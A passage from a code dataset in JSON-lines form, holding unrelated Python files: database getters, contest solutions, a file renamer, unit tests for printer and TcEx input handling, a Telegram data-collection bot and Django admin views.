status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_group(id: UUID):\n async with db.transaction():\n group = await Groups.query.where(Groups.id == id).gino.first()\n if group:\n return GroupSchemaDB.from_orm(group)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_us_gr(id: UUID):\n async with db.transaction():\n group = await User_Groups.query.where(User_Groups.id == id).gino.first()\n if group:\n return UserGroupSchemaDB.from_orm(group)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_service(id: UUID):\n async with db.transaction():\n service = await Service.query.where(Service.id == id).gino.first()\n if service:\n return ServiceSchemaDB.from_orm(service)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_endpoint(id: UUID):\n async with db.transaction():\n endpoint = await Endpoint.query.where(Endpoint.id == id).gino.first()\n if endpoint:\n return EndpointSchemaDB.from_orm(endpoint)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_method(id: UUID):\n async with db.transaction():\n method = await Method.query.where(Method.id == id).gino.first()\n if method:\n return MethodSchemaDB.from_orm(method)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_permission(id: UUID):\n async with db.transaction():\n permission = await Permission.query.where(Permission.id == id).gino.first()\n if permission:\n return PermissionSchemaDB.from_orm(permission)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n# --------------- GET BY NAME-----------------------\n\n\n@log\nasync def get_method_by_name(name: str):\n async with db.transaction():\n method = await Method.query.where(Method.name == name).gino.first()\n if method:\n return MethodSchemaDB.from_orm(method)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_endpoint_by_name(name: str):\n async with db.transaction():\n endpoint = await Endpoint.query.where(Endpoint.name == name).gino.first()\n if endpoint:\n return EndpointSchemaDB.from_orm(endpoint)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_service_by_name(name: str):\n async with db.transaction():\n service = await Service.query.where(Service.name == name).gino.first()\n if service:\n return ServiceSchemaDB.from_orm(service)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def get_endpoint_by_svc_prefix(id: UUID, prefix: str):\n async with db.transaction():\n endpoint = await Endpoint.query.where(\n and_(Endpoint.service_id == id, Endpoint.prefix == prefix)\n ).gino.first()\n if endpoint:\n return EndpointSchemaDB.from_orm(endpoint)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n# --------------- GET ALL-----------------------\n\n\n@log\nasync def get_all_user():\n async with db.transaction():\n users = await Users.query.gino.all()\n return parse_obj_as(List[UserSchemaDB], users)\n\n\n@log\nasync def get_all_group():\n async with db.transaction():\n groups = await Groups.query.gino.all()\n return parse_obj_as(List[GroupSchemaDB], groups)\n\n\n@log\nasync def get_all_us_gr():\n async with db.transaction():\n groups = await User_Groups.query.gino.all()\n\n return parse_obj_as(List[UserGroupSchemaDB], groups)\n\n\n@log\nasync def get_all_service():\n async with db.transaction():\n services = await Service.query.gino.all()\n return parse_obj_as(List[ServiceSchemaDB], services)\n\n\n@log\nasync def get_all_method():\n async with db.transaction():\n methods = await Method.query.gino.all()\n return parse_obj_as(List[MethodSchemaDB], methods)\n\n\n@log\nasync def get_all_permissions():\n async with db.transaction():\n permissions = await Permission.query.gino.all()\n return parse_obj_as(List[PermissionSchemaDB], permissions)\n\n\n@log\nasync def get_all_endpoints():\n async with db.transaction():\n endpoints = await Endpoint.query.gino.all()\n return parse_obj_as(List[EndpointSchemaDB], endpoints)\n","repo_name":"MadeByMads/DAC","sub_path":"app/utils/acl.py","file_name":"acl.py","file_ext":"py","file_size_in_byte":15009,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"41566589057","text":"class Solution:\n def findLengthOfLCIS(self, nums: List[int]) -> int:\n n = len(nums)\n count = 1\n maxCount = 1\n curr = nums[0]\n\n for i in range(n):\n if(nums[i] > curr):\n count += 1\n curr = nums[i]\n print(count, i)\n else:\n curr = nums[i]\n maxCount = max(count, maxCount)\n count = 1\n print(\"max\",maxCount)\n # print(nums[i],\"count\",count)\n\n return max(count, maxCount)","repo_name":"Chammar37/LeetPractice","sub_path":"0674-longest-continuous-increasing-subsequence/0674-longest-continuous-increasing-subsequence.py","file_name":"0674-longest-continuous-increasing-subsequence.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23577512711","text":"import sys\n\n\nSUP = 1000000000\n\n\n#cin = open('input.txt', 'r')\n#cin = open('B-small-attempt0.in', 'r')\ncin = open('B-large.in', 'r')\n#cin = sys.stdin\ncout = open('output.txt', 'w')\n#cout = sys.stdout\n\ncurrent_str_iter = None\n\n\ndef next_token():\n global current_str_iter\n\n while True:\n if current_str_iter is not None:\n token = next(current_str_iter, None)\n if token is not None:\n return token\n\n current_str_iter = iter(cin.readline().split())\n\n\ndef next_int():\n return int(next_token())\n\n\ndef solve(n, p, reqs, q):\n ranges = []\n for i in range(n):\n q[i] = sorted(q[i])\n ranges.append([])\n\n for j in range(p):\n lb = (10 * q[i][j]) / (reqs[i] * 11)\n if (10 * q[i][j]) % (reqs[i] * 11) > 0:\n lb += 1\n\n rb = (10 * q[i][j]) / (reqs[i] * 9)\n\n if rb >= lb:\n ranges[i].append((lb, rb))\n\n indices = []\n for i in range(n):\n indices.append(0)\n\n result = 0\n while indices[0] < len(ranges[0]):\n if rec(0, -1, SUP, n, ranges, indices) == -1:\n result += 1\n\n return result\n\n\ndef rec(v, lb, rb, n, ranges, indices):\n if v == n:\n return -1\n\n while indices[v] < len(ranges[v]) and ranges[v][indices[v]][1] < lb:\n indices[v] += 1\n\n if indices[v] == len(ranges[v]):\n return SUP\n\n if ranges[v][indices[v]][0] > rb:\n return ranges[v][indices[v]][0]\n\n newlb = max(lb, ranges[v][indices[v]][0])\n newrb = min(rb, ranges[v][indices[v]][1])\n\n result = rec(v + 1, newlb, newrb, n, ranges, indices)\n\n if result == -1:\n indices[v] += 1\n else:\n while indices[v] < len(ranges[v]) and ranges[v][indices[v]][1] < result:\n indices[v] += 1\n\n return result\n\n\ndef main():\n testcases = next_int()\n\n for tc in range(1, testcases + 1):\n n = next_int()\n p = next_int()\n\n reqs = []\n for i in range(n):\n reqs.append(next_int())\n\n q = []\n for i in range(n):\n q.append([])\n for j in range(p):\n q[i].append(next_int())\n\n result = solve(n, p, reqs, q)\n\n cout.write('Case #%i: %s\\n' % (tc, str(result)))\n\n\nif __name__ == '__main__':\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_204/65.py","file_name":"65.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32095602025","text":"import os,sys\r\nfolder = 'D:/VishalBackup/Adi/yo'\r\nfor filename in os.listdir(folder):\r\n infilename = os.path.join(folder,filename)\r\n if not os.path.isfile(infilename): continue\r\n oldbase = os.path.splitext(filename)\r\n newname = infilename.replace('.webm', '.mp4')\r\n output = os.rename(infilename, newname)\r\n\r\nprint(\"yo\")\r\n","repo_name":"Aditya510/PythonProjectsv1.3","sub_path":"formatchanger.py","file_name":"formatchanger.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26383790651","text":"import difflib\nfrom textwrap import dedent\n\nfrom kinko.nodes import Tuple, Symbol, Keyword, String, List, Placeholder\nfrom kinko.printer import Printer\n\nfrom .base import TestCase\n\n\nclass TestPrinter(TestCase):\n\n def assertPrints(self, node, output):\n first = Printer.dumps(node)\n second = dedent(output).strip() + '\\n'\n if first != second:\n msg = ('Printed code is not equal:\\n\\n{}'\n .format('\\n'.join(difflib.ndiff(first.splitlines(),\n second.splitlines()))))\n raise self.failureException(msg)\n\n def testSimple(self):\n self.assertPrints(\n Tuple([Symbol('html'),\n Keyword('foo'), String('bar'), Symbol('baz')]),\n \"\"\"\n html :foo \"bar\" baz\n \"\"\",\n )\n\n def testNested(self):\n self.assertPrints(\n Tuple([Symbol('html'),\n Keyword('foo'), String('bar'),\n Tuple([Symbol('head')])]),\n \"\"\"\n html :foo \"bar\"\n head\n \"\"\",\n )\n\n def testJoin(self):\n self.assertPrints(\n Tuple([Symbol('html'),\n Keyword('foo'), String('bar'),\n Tuple([Symbol('join'), List([\n Tuple([Symbol('head')]),\n Tuple([Symbol('body')]),\n ])])]),\n \"\"\"\n html :foo \"bar\"\n head\n body\n \"\"\",\n )\n\n def testGet(self):\n self.assertPrints(\n Tuple([Symbol('html'),\n Keyword('foo'), Tuple([Symbol('get'), Symbol('bar'),\n Symbol('baz')])]),\n \"\"\"\n html :foo bar.baz\n \"\"\",\n )\n self.assertPrints(\n Tuple([Symbol('html'),\n Keyword('foo'), Tuple([Symbol('get'), Placeholder('bar'),\n Symbol('baz')])]),\n \"\"\"\n html :foo #bar.baz\n \"\"\",\n )\n","repo_name":"vmagamedov/kinko","sub_path":"tests/test_printer.py","file_name":"test_printer.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"44869260833","text":"\"\"\"Test the TcEx Inputs Config Module.\"\"\"\n# standard library\nimport json\nimport sys\nfrom random import randint\n\n# third-party\nfrom requests import Session\n\n# first-party\nfrom tcex.inputs import Inputs\n\n\nclass MockGet:\n \"\"\"Mock tcex session.get() method.\"\"\"\n\n def __init__(self, data, ok=True):\n \"\"\"Initialize class properties.\"\"\"\n self.data = data\n self._ok = ok\n\n @property\n def headers(self):\n \"\"\"Mock headers property\"\"\"\n return {'content-type': 'application/json'}\n\n def json(self):\n \"\"\"Mock json method\"\"\"\n return self.data\n\n @property\n def ok(self):\n \"\"\"Mock ok property\"\"\"\n return self._ok\n\n @property\n def reason(self):\n \"\"\"Mock text property\"\"\"\n return 'reason'\n\n @property\n def text(self):\n \"\"\"Mock text property\"\"\"\n return json.dumps(self.data)\n\n\nclass TestInputsConfig:\n \"\"\"Test TcEx Inputs Config.\"\"\"\n\n @staticmethod\n def test_add_inputs(playbook_app):\n \"\"\"Test argument_parser add_argument method with a required field and config_data.\n\n Args:\n playbook_app (callable, fixture): An instantiated instance of MockApp.\n \"\"\"\n # update config data\n config_data = {\n 'name': 'pytest',\n 'logging': 'trace',\n 'tc_log_to_api': True,\n }\n\n # initialize tcex and add required argument\n tcex = playbook_app(config_data=config_data).tcex\n tcex.parser.add_argument('--name', required=True)\n\n # parse args\n assert tcex.args.name == config_data.get('name')\n\n @staticmethod\n def test_aot_inputs(playbook_app, redis_client):\n \"\"\"Test AOT input method of TcEx\n\n Args:\n playbook_app (callable, fixture): An instantiated instance of MockApp.\n redis_client (Redis.client, fixture): An instantiated instance of Redis Client.\n \"\"\"\n # add AOT setting to App\n config_data = {\n 'tc_action_channel': f'pytest-action-channel-{randint(1000,9999)}',\n 'tc_aot_enabled': True,\n }\n app = playbook_app(config_data=config_data)\n\n # send redis rpush AOT message\n aot_config_data = {'my_bool': 'true', 'my_multi': 'one|two'}\n aot_config_data.update(app.config_data)\n aot_msg = {'type': 'execute', 'params': aot_config_data}\n redis_client.rpush(config_data.get('tc_action_channel'), json.dumps(aot_msg))\n\n # get a configured instance of tcex, missing AOT values\n # tcex will block, check for the AOT method, parse new config, and then run\n tcex = app.tcex\n\n # add custom args (install.json defined in conftest.py)\n tcex.parser.add_argument('--my_bool', action='store_true')\n tcex.parser.add_argument('--my_multi', action='append')\n\n # args and rargs must be called once before accessing args\n tcex.args # pylint: disable=pointless-statement\n tcex.rargs # pylint: disable=pointless-statement\n\n assert tcex.inputs.params.my_bool is True\n assert tcex.inputs.resolved_params.my_bool is True\n assert tcex.args.my_bool is True\n assert tcex.rargs.my_bool is True # pylint: disable=no-member\n assert tcex.args.my_multi == ['one', 'two']\n assert tcex.rargs.my_multi == ['one', 'two'] # pylint: disable=no-member\n\n @staticmethod\n def test_args_token(tcex):\n \"\"\"Test default values (e.g., token) are in args.\n\n Args:\n tcex (TcEx, fixture): An instantiated instance of TcEx.\n \"\"\"\n assert tcex.args.tc_token\n assert tcex.args.tc_token_expires\n assert tcex.args.api_default_org == 'TCI'\n\n @staticmethod\n def test_config_file(tcex):\n \"\"\"Test inputs.config_file() method.\n\n Args:\n tcex (TcEx, fixture): An instantiated instance of TcEx.\n \"\"\"\n tcex.inputs.config_file('tests/inputs/config.json')\n tcex.inputs.config_file('tests/inputs/dummy-config.json')\n\n @staticmethod\n def test_cli_args(playbook_app, request):\n \"\"\"Test args passed via cli.\n\n Args:\n playbook_app (callable, fixture): The playbook_app fixture.\n request (pytest.request, fixture): The built-in request object from pytest.\n \"\"\"\n app = playbook_app(clear_argv=False)\n\n # store config data\n config_data = app.config_data\n # clear the config data to test cli args\n app._config_data = {}\n\n # backup current sys.argv\n sys_argv_orig = sys.argv\n\n # build new sys.argv\n sys.argv = sys.argv[:1] + [\n '--tc_token',\n config_data.get('tc_token'),\n '--tc_token_expires',\n config_data.get('tc_token_expires'),\n '--tc_log_file',\n config_data.get('tc_log_file'),\n '--pytest_arg',\n request.node.name,\n '--unknown',\n ]\n\n tcex = app.tcex\n tcex.parser.add_argument('--pytest_arg')\n\n # parse tcex.args\n tcex.args # pylint: disable=pointless-statement\n\n # assert\n assert tcex.args.pytest_arg == request.node.name\n\n # restore previous sys.argv\n sys.argv = sys_argv_orig\n\n @staticmethod\n def test_get_secure_params(playbook_app, monkeypatch):\n \"\"\"Test secure params feature of TcEx inputs.\n\n Args:\n playbook_app (callable, fixture): An instantiated instance of MockApp.\n monkeypatch (_pytest.monkeypatch.MonkeyPatch, fixture): Pytest monkeypatch\n \"\"\"\n app = playbook_app()\n tcex = app.tcex\n\n # monkeypatch method\n def mp_get(*args, **kwargs): # pylint: disable=unused-argument\n return MockGet({'inputs': app.config_data})\n\n monkeypatch.setattr(tcex.session, 'get', mp_get)\n\n data = tcex.inputs._get_secure_params()\n\n assert data.get('tc_log_path') == 'log'\n\n @staticmethod\n def test_get_secure_params_mock_env_server(playbook_app, monkeypatch):\n \"\"\"Test secure params feature of TcEx inputs as working on env server.\n\n Args:\n playbook_app (callable, fixture): An instantiated instance of MockApp.\n monkeypatch (_pytest.monkeypatch.MonkeyPatch, fixture): Pytest monkeypatch\n request (_pytest.request, fixture): Pytest request\n \"\"\"\n app = playbook_app(clear_argv=False)\n\n # store config data\n config_data = dict(app.config_data)\n\n # clear the config data to test cli args\n app._config_data = {}\n\n # backup current sys.argv\n sys_argv_orig = sys.argv\n\n # build new sys.argv\n sys.argv = sys.argv[:1] + [\n '--tc_secure_params',\n '--tc_token',\n config_data.get('tc_token'),\n '--tc_token_expires',\n config_data.get('tc_token_expires'),\n '--tc_log_path',\n config_data.get('tc_log_path'),\n '--tc_log_file',\n config_data.get('tc_log_file'),\n ]\n\n # monkeypatch method\n secure_params = dict(app.config_data)\n secure_params['tc_log_path'] = 'bad-log.log'\n secure_params['pytest_secure_params'] = 'pytest_secure_params'\n\n def mp_get(*args, **kwargs): # pylint: disable=unused-argument\n return MockGet({'inputs': secure_params})\n\n # monkey patch Session.get() method to return mock secureParams data\n monkeypatch.setattr(Session, 'get', mp_get)\n\n # get instance of tcex\n tcex = app.tcex\n tcex.parser.add_argument('--pytest_secure_params')\n\n # assert tc_log_path didn't change with incoming secure param value\n assert tcex.args.tc_log_path == 'log'\n # ensure secure params worked\n assert tcex.args.pytest_secure_params == 'pytest_secure_params'\n\n # restore previous sys.argv\n sys.argv = sys_argv_orig\n\n @staticmethod\n def test_get_secure_params_bad_data(tcex, monkeypatch):\n \"\"\"Test secure params feature of TcEx inputs with bad data.\n\n Args:\n tcex (TcEx, fixture): An instantiated instance of TcEx.\n monkeypatch (_pytest.monkeypatch.MonkeyPatch, fixture): Pytest monkeypatch\n \"\"\"\n # monkeypatch method\n def mp_get(*args, **kwargs): # pylint: disable=unused-argument\n return MockGet({})\n\n monkeypatch.setattr(tcex.session, 'get', mp_get)\n\n try:\n tcex.inputs._get_secure_params()\n assert False\n except RuntimeError:\n assert True\n\n @staticmethod\n def test_get_secure_params_not_ok(tcex, monkeypatch):\n \"\"\"Test secure params failure.\n\n Args:\n tcex (TcEx, fixture): An instantiated instance of TcEx.\n monkeypatch (_pytest.monkeypatch.MonkeyPatch, fixture): Pytest monkeypatch\n \"\"\"\n # monkeypatch method\n def mp_get(*args, **kwargs): # pylint: disable=unused-argument\n return MockGet(data={}, ok=False)\n\n monkeypatch.setattr(tcex.session, 'get', mp_get)\n\n try:\n tcex.inputs._get_secure_params()\n except RuntimeError:\n assert True\n\n @staticmethod\n def test_secure_params(playbook_app, monkeypatch):\n \"\"\"Test secure params failure.\n\n Args:\n playbook_app (callable, fixture): An instantiated instance of MockApp.\n monkeypatch (_pytest.monkeypatch.MonkeyPatch, fixture): Pytest monkeypatch\n \"\"\"\n config_data = {'tc_secure_params': True}\n app = playbook_app(config_data=config_data)\n\n # create fields only send in secure params\n secure_params_config_data = {'my_bool': 'true', 'my_multi': 'one|two'}\n secure_params_config_data.update(app.config_data)\n\n # monkeypatch session get method\n def get_secure_params(self): # pylint: disable=unused-argument\n return secure_params_config_data\n\n monkeypatch.setattr(Inputs, '_get_secure_params', get_secure_params)\n\n # get instance of tcex\n tcex = app.tcex\n\n # add custom args (install.json defined in conftest.py)\n tcex.parser.add_argument('--my_bool', action='store_true')\n tcex.parser.add_argument('--my_multi', action='append')\n\n # args and rargs must be called once before accessing args\n tcex.args # pylint: disable=pointless-statement\n tcex.rargs # pylint: disable=pointless-statement\n\n assert tcex.args.my_bool is True\n assert tcex.rargs.my_bool is True # pylint: disable=no-member\n assert tcex.args.my_multi == ['one', 'two']\n assert tcex.rargs.my_multi == ['one', 'two'] # pylint: disable=no-member\n\n @staticmethod\n def test_update_logging(playbook_app):\n \"\"\"Test update logging method of inputs module\n\n Args:\n playbook_app (callable, fixture): The playbook_app fixture.\n \"\"\"\n tcex = playbook_app(config_data={'tc_log_level': None, 'logging': 'trace'}).tcex\n tcex.log.info('update logging test')\n\n @staticmethod\n def test_update_params(tcex, config_data):\n \"\"\"Test secure params failure.\n\n Args:\n tcex (TcEx, fixture): An instantiated instance of TcEx.\n monkeypatch (_pytest.monkeypatch.MonkeyPatch, fixture): Pytest monkeypatch\n \"\"\"\n # add custom config data\n config_data = {\n 'my_bool': 'true',\n 'my_multi': 'one|two',\n 'unknown_args': True, # coverage: test unknown args\n }\n\n # update params\n updated_params = tcex.inputs.update_params(config_data)\n tcex.inputs.config(updated_params)\n\n # add custom args (install.json defined in conftest.py)\n tcex.parser.add_argument('--my_bool', action='store_true')\n tcex.parser.add_argument('--my_multi', action='append')\n\n # args and rargs must be called once before accessing args\n tcex.args # pylint: disable=pointless-statement\n tcex.rargs # pylint: disable=pointless-statement\n\n assert tcex.args.my_bool is True\n assert tcex.rargs.my_bool is True # pylint: disable=no-member\n assert tcex.args.my_multi == ['one', 'two']\n assert tcex.rargs.my_multi == ['one', 'two'] # pylint: disable=no-member\n\n @staticmethod\n def test_duplicate_args(playbook_app):\n \"\"\"APP-964 handle args that have been defined multiple times.\n\n Args:\n playbook_app (callable, fixture): An instantiated instance of MockApp.\n \"\"\"\n # update config data\n config_data = {\n 'name': 'pytest',\n 'logging': 'trace',\n 'tc_log_to_api': True,\n }\n\n # initialize tcex and add required argument\n tcex = playbook_app(config_data=config_data).tcex\n tcex.parser.add_argument('--name', required=True)\n tcex.parser.add_argument('--name', required=True)\n\n assert tcex.args.name == 'pytest'\n\n # parse args\n","repo_name":"ThreatConnect-Inc/threatconnect-developer-docs","sub_path":"tcex/tests/inputs/test_inputs.py","file_name":"test_inputs.py","file_ext":"py","file_size_in_byte":13007,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"17040121255","text":"from telegram.ext import Updater\nfrom telegram.ext import MessageHandler, Filters\nfrom telegram.ext import CommandHandler\nimport logging\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport config\n\nglobal rowCount\nrowCount = 15\nupdater = Updater(token=config.Token, use_context=True)\ndispatcher = updater.dispatcher\n \nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\ndef start(update, context):\n context.bot.send_message(chat_id=update.message.chat_id, text=\"\"\"Hi, I am a data collection bot for ValteRego. \nPlease key in your training statement in the following format:\n [text] *space* [emotion number from 1-8] *space* [intensity number from 1-3]\nTo view the full list of emotions and the corresponding intensity, please use '/list'.\nTo view the picture of Plutchik's wheel of emotion, please use '/pic'.\nTo see an example of text input, please use '/eg'.\n\"\"\")\n \nstart_handler = CommandHandler('start', start)\ndispatcher.add_handler(start_handler)\n\nemotions={1:{1:\"serenity\",2:\"joy\",3:\"ecstasy\"},\n 2:{1:\"pensiveness\",2:\"sadness\",3:\"grief\"},\n 3:{1:\"acceptance\",2:\"trust\",3:\"admiration\"},\n 4:{1:\"boredom\",2:\"disgust\",3:\"loathing\"},\n 5:{1:\"apprehension\",2:\"fear\",3:\"terror\"},\n 6:{1:\"annoyance\",2:\"anger\",3:\"rage\"},\n 7:{1:\"distraction\",2:\"surprise\",3:\"amazement\"},\n 8:{1:\"interest\",2:\"anticipation\",3:\"vigilance\"}}\n\n#emotions={1:\"serenity\",2:\"joy\",3:\"ecstasy\",4:\"pensiveness\",5:\"sadness\",6:\"grief\",7:\"acceptance\",8:\"trust\",9:\"admiration\",10:\"boredom\",11:\"disgust\",12:\"loathing\",13:\"apprehension\",14:\"fear\",15:\"terror\",16:\"annoyance\",17:\"anger\",18:\"rage\",19:\"distraction\",20:\"surprise\",21:\"amazement\",22:\"interest\",23:\"anticipation\",24:\"vigilance\"}\n\ndef list(update, context):\n for item, amount in emotions.items():\n context.bot.send_message(chat_id=update.message.chat_id, text=\"{} ({})\".format(item, amount))\n \nlist_handler = CommandHandler('list', list)\ndispatcher.add_handler(list_handler)\n\n\ndef pic(update, context):\n context.bot.send_photo(chat_id=update.message.chat_id, photo=\"https://upload.wikimedia.org/wikipedia/commons/thumb/c/ce/Plutchik-wheel.svg/2000px-Plutchik-wheel.svg.png\")\n \npic_handler = CommandHandler('pic', pic)\ndispatcher.add_handler(pic_handler)\n\ndef eg(update, context):\n context.bot.send_message(chat_id=update.message.chat_id, text=\"\"\"Example statement 1:\n Hi Valte, do you want some investment? 1 3\nMapped emotion will be emotion 1 with intensity 3: ecstasy.\n\nExample statement 2:\n Samson 3 3\nMapped emotion will be emotion 3 with intensity 3: admiration.\"\"\")\n \neg_handler = CommandHandler('eg', eg)\ndispatcher.add_handler(eg_handler)\n\n\n# responsetext1 = \"\"\"Thank you for your input. Among the 8 emotions below, which response would you expect? Please key in a number. Alternatively, you may use /list command to find out the full list of emotions.\n# 1. Joy\n# 2. Sadness\n# 3. Trust\n# 4. Disgust\n# 5. Fear\n# 6. Anger\n# 7. Surprise\n# 8. Anticipation\n# \"\"\"\n\n# global response1\n# response1 = 1\n\n# responsetext3 = \"\"\"Thank you for your input!\"\"\" \n\n# def trigger(update, context):\n# global count\n# global response1\n# if (count%3==1):\n# context.bot.send_message(chat_id=update.message.chat_id, text=responsetext1)\n# sheet.update_cell((count//3)+1, 1, update.message.text)\n# elif (count%3==2):\n# response1 = int(update.message.text)\n \n# responsetext2 = (\"\"\"From a scale of 1-3, 3 being the most severe, how would you rate the intensity of the emotion?\n# 1. %s\n# 2. %s\n# 3. %s\n# \"\"\" % (emotions[response1][1],emotions[response1][2],emotions[response1][3]))\n \n# context.bot.send_message(chat_id=update.message.chat_id, text=responsetext2)\n# sheet.update_cell((count//3)+1, 2, update.message.text)\n# else:\n# response2 = int(update.message.text)\n# context.bot.send_message(chat_id=update.message.chat_id, text=responsetext3)\n# sheet.update_cell((count//3), 3, update.message.text)\n# sheet.update_cell((count//3), 4, emotions[response1][response2])\n# count+=1\n\ndef trigger(update,context):\n global rowCount\n context.bot.send_message(chat_id=update.message.chat_id,text=\"Thank you for your input!\")\n inputs = update.message.text\n sheet.update_cell(rowCount,1,inputs[0:-4])\n sheet.update_cell(rowCount,2,inputs[-3])\n sheet.update_cell(rowCount,3,inputs[-1])\n sheet.update_cell(rowCount,4,emotions[int(inputs[-3])][int(inputs[-1])])\n rowCount += 1\n\ntrigger_handler = MessageHandler(Filters.all,trigger)\ndispatcher.add_handler(trigger_handler)\n\n# use creds to create a client to interact with the Google Drive API\nscope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\ncreds = ServiceAccountCredentials.from_json_keyfile_name('client_secret.json', scope)\nclient = gspread.authorize(creds)\n\n# Find a workbook by name and open the first sheet\n# Make sure you use the right name here.\nsheet = client.open(\"Telebot Data\").sheet1\n\n\nupdater.start_polling()","repo_name":"SamsonChoo/DataCollectTeleBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16819377234","text":"from unicodedata import decimal\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect, HttpResponse\nfrom main.models import *\nfrom repair.models import *\nfrom .models import *\nfrom django.db.models import Q\n\n\n# Create your views here.\n\ndef login_attempt(request):\n if request.method == 'POST':\n phone = request.POST.get('phone')\n password = request.POST.get('password')\n user = authenticate(request, phone=phone, password=password)\n if user is not None:\n login(request, user)\n return redirect('adminpanel')\n else:\n msg = \"Invalid Credential please check phone no. or password !!\"\n return render(request, 'login_attempt.html', {'msg': msg})\n return render(request, 'login_attempt.html')\n\n\ndef logout_view(request):\n logout(request)\n return redirect('login_attempt')\n\n\ndef adminpanel(request):\n if not request.user.is_authenticated and not request.user.is_superuser:\n return redirect('login_attempt')\n total_service = Service.objects.all().count()\n annul_service = Service.objects.filter(plan_title=\"yearly\").count()\n onetime_service = Service.objects.filter(Q(plan_title=\"monthly\") | Q(plan_title=\"onetime\")).count()\n total_order = Order.objects.all().count()\n annul_order = Order.objects.filter(service_types=\"yearly\").count()\n onetime_order = Order.objects.filter(Q(service_types=\"monthly\") | Q(service_types=\"onetime\")).count()\n data = User.objects.all().count()\n mechanic = Mechanic.objects.all().count()\n customer_review = ClientReview.objects.all().count()\n today_service = Service.objects.filter(create_at=datetime.datetime.today()).count()\n today_leads = Order.objects.filter(create_at=datetime.datetime.today()).count()\n today_user = User.objects.filter(created_at=datetime.datetime.today()).count()\n return render(request, 'adminpanel.html', {'total_service': total_service, 'annul_service': annul_service,\n 'onetime_service': onetime_service, 'total_order': total_order,\n 'annul_order': annul_order, 'onetime_order': onetime_order, 'data': data,\n 'mechanic': mechanic, 'customer_review': customer_review,\n 'today_service': today_service, 'today_leads': today_leads,\n 'today_user': today_user})\n\n\ndef plan(request):\n if not request.user.plan_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plans = PlanName.objects.all()\n return render(request, 'plan.html', {'plans': plans})\n\n\ndef addplan(request):\n if not request.user.plan_user and not request.user.is_superuser:\n return redirect('login_attempt')\n try:\n if request.method == 'POST':\n title = request.POST.get('title')\n pricing_add = request.POST.get('pricing')\n types = request.POST.get('types')\n details = request.POST.get('details')\n img = request.FILES.get('img')\n count_add = request.POST.get('count')\n line_price_add = request.POST.get('line_price')\n count = int(count_add)\n line_price = int(line_price_add)\n\n pricing = int(pricing_add)\n if types == 'yearly':\n data = PlanName.objects.create(title=title, pricing=pricing, types=types, details=details, img=img,\n services='yearly', line_price=line_price, count=count)\n data.save()\n msg = \"Your Plane Has Been Created !\"\n return redirect('plan')\n elif types == 'onetime' or types == 'monthly':\n data = PlanName.objects.create(title=title, pricing=pricing, types=types, details=details, img=img,\n services='onetime', line_price=line_price, count=count)\n data.save()\n msg = \"Your Plane Has Been Created !\"\n return redirect('plan')\n else:\n msg = \"Something Went Wrong Please Select Correct Plan Name !\"\n return render(request, 'addplan.html', {'msg': msg})\n except Exception as E:\n msg = E\n return render(request, 'addplan.html', {'msg': msg})\n return render(request, 'addplan.html')\n\n\ndef editplan(request, id):\n if not request.user.plan_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plans = get_object_or_404(PlanName, id=id)\n try:\n if request.method == 'POST':\n title = request.POST.get('title')\n pricing_add = request.POST.get('pricing')\n types = request.POST.get('types')\n details = request.POST.get('details')\n img = request.FILES.get('img')\n count_add = request.POST.get('count')\n line_price_add = request.POST.get('line_price')\n\n count = int(count_add)\n line_price = int(line_price_add)\n pricing = int(pricing_add)\n\n if types == 'yearly':\n data = PlanName.objects.get(id=id)\n data.title = title\n data.pricing = pricing\n data.types = types\n data.details = details\n data.line_price = line_price\n data.count = count\n data.save()\n msg = \"Your Plane Has Been Updated !\"\n return redirect('plan')\n elif types == 'onetime' or types == 'monthly':\n data = PlanName.objects.get(id=id)\n data.title = title\n data.pricing = pricing\n data.types = types\n data.details = details\n data.line_price = line_price\n data.count = count\n data.save()\n msg = \"Your Plane Has Been Updated !\"\n return redirect('plan')\n elif img != None:\n data = PlanName.objects.get(id=id)\n data.title = title\n data.pricing = pricing\n data.types = types\n data.details = 